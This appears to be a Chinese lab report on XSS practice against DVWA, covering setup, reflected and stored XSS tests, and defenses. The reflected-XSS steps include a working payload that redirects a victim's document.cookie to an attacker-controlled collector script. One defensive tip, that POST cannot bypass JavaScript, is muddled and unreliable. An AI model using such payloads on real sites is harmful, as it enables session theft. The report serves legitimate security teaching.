一. 实验目的
- 了解XSS漏洞的攻击原理及相关知识
- 能够进行简单的攻击分析
dwva下载链接:https://pan.baidu.com/s/10OEyN_r7cZ-IP_bgKIERAA?pwd=lj91
提取码:lj91
二. 实验环境
Win7虚拟机
三. 实验工具
VMWare、、PHPStudy、DVWA
四. 实验步骤
【反射型XSS跨站脚本攻击】
- 打开windows Server2016,安装PHPStudy
- 打开安装的PHPStudy,开启Apache和MySQL服务
- 下载DVWA,解压,放在PHPStudy的www目录下
- 打开DVWA的config配置文件,选中inc.php.dist文件,用记事本打开
- 将文件中的数据库名字和密码改成root,并保存
- 复制文件,将文件名字变成inc.php,修改成php后缀
- 打开DVWA网站。打开浏览器,输入http://127.0.0.1/dvwa/。会出现标红的一些错误
解决爆红错误 原文链接:https://blog.csdn.net/m0_68012373/article/details/128053192
第一个错误:表示没有开启PHP url_include模块。
解决方法:1)找到你PHPstudy的安装目录。
2)进入Extensionsphp。
3)找到所使用的php版本号所在文件夹,修改php.ini中的allow_url_include为On。4)然后保存,重启PHPstudy,错误得到解决。
第二个错误:表示缺少了验证码的key。
解决方法:编辑 dvwa/config/config.inc.php这个配置文件,找到以下代码把key填上就行了。
$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';
key也可以自己生成,地址是:https://www.google.com/recaptcha/admin/create
最后一个,点击最下面的那个“Create/Reset Database”按钮创建数据库,如果创建成功则表示如下结果,点击最下面的login进入登录界面
- 点击后,跳转到登录界面,输入默认用户名和密码admmin \ password,点击登录
9、修改DVWA的安全等级为low,如下图
10、进入XSS反射漏洞的网站,点击侧边栏的XSS(Reflected)
11、输入测试,在文本框中填入 test,点击提交,说明这个网页是将用户提交的信息发送给用户
可以看到我们输入的值被放在url地址中以get的方法进行提交,可以尝试进行XSS反射攻击。
12、点击下方的view source,可以看到相关PHP代码,可以看到代码中没有对特殊字符进行过滤。
13、在文本框中插入html标签,尝试js弹窗 在文本框中输入<script>alert('xss')</script>,可以看到网页弹出了一个弹窗。说明网站可以进行XSS攻击。且url地址对我们输入的值进行了编码处理。提交完成后刷新界面。发现页面回复正常,说明之前输入的信息没有保存,是非持久性的跨站脚本漏洞,
14、此时可以进行一些有意义的攻击,如盗取用户的Cookie。构造恶意链接,盗取用户的Cookie值。
- 编写php文件,放在www文件目录下。同时创建cookie.txt空文件,也放在此目录下。
xss.php文件:
15、在网页中构造恶意链接,点击提交
<script>document.location='http://攻击者的IP地址(这里我们填入127.0.0.1)/xss.php?cookie=' +document.cookie;</script>
即为
<script>document.location='http://127.0.0.1/xss.php?cookie=' +document.cookie;</script>
16、提交完成后,网页跳出我们编写的提示界面
17、查看用户cookie是否拿到。打开cookie.txt文件,可以看到Cookie成功拿到
【存储型XSS攻击】
1、点击左侧菜单栏的XSS(stored)填入信息,如图所示,点击Sign Guestbook
- 点击View Source,可以看到网页允许用户存储的信息没有被过滤就直接存储在数据库中。
- 进行攻击测试,按下图所示输入
Name文本框中输入 Test ; Message文本框中输入 <script>alert(/XSS/)</script>
点击sign按钮。
可以看到url地址中没有我们输入的值,但是弹窗成功弹出,我们暂定可以进行XSS存储攻击。当我们刷新界面时,就会弹出弹窗。之前的信息被保存在数据库中。
五. 实验感想(总结、对实验的讨论、不足之处......)
【总结参考】
通过这次实验,让我掌握了xss的攻击原理以及防范手段
六、实验思考
1、XSS攻击的原理?
XSS攻击,全称为Cross-site script,跨站脚本攻击,是Web程序中常见的漏洞。攻击者向有XSS漏洞的网站中输入恶意的HTML代码,当其他用户浏览该网站时,该段HTML代码会自动执行,从而达到攻击的目的,如盗取用户的Cookie,破坏页面结构,重定向到其他网站等。
2、目前市面上常用的漏洞扫描工具有哪些?
目前市面上常用的漏洞扫描工具包括OpenVAS、Nessus、Tripwire IP360、Nmap等。
3、可以使用哪些方法来防范XSS跨站脚本攻击?
- 防堵跨站漏洞:对于用户提交的所有内容,应进行详细的检查和过滤,尤其是对于任何外部输入的变量和字符串。可以对其进行长度检查,并对特殊字符如"<",">",";","'"等做过滤。在将任何内容写入页面之前,应对其进行编码,以避免不小心将HTML标签弄出来。
- Cookie防盗:首先,避免在Cookie中直接泄露用户隐私信息,如email、密码等。其次,通过使Cookie和系统IP绑定来降低Cookie泄露后的危险。这样,即使攻击者获取了Cookie,也无法将其用于重放攻击。
- 使用POST而非GET提交表单:POST操作不可能绕过javascript的使用,这会给攻击者增加难度,减少可利用的跨站漏洞。
- 严格检查HTTP Referer:检查HTTP Referer是否来自预料中的URL。这会大大增加攻击者的麻烦。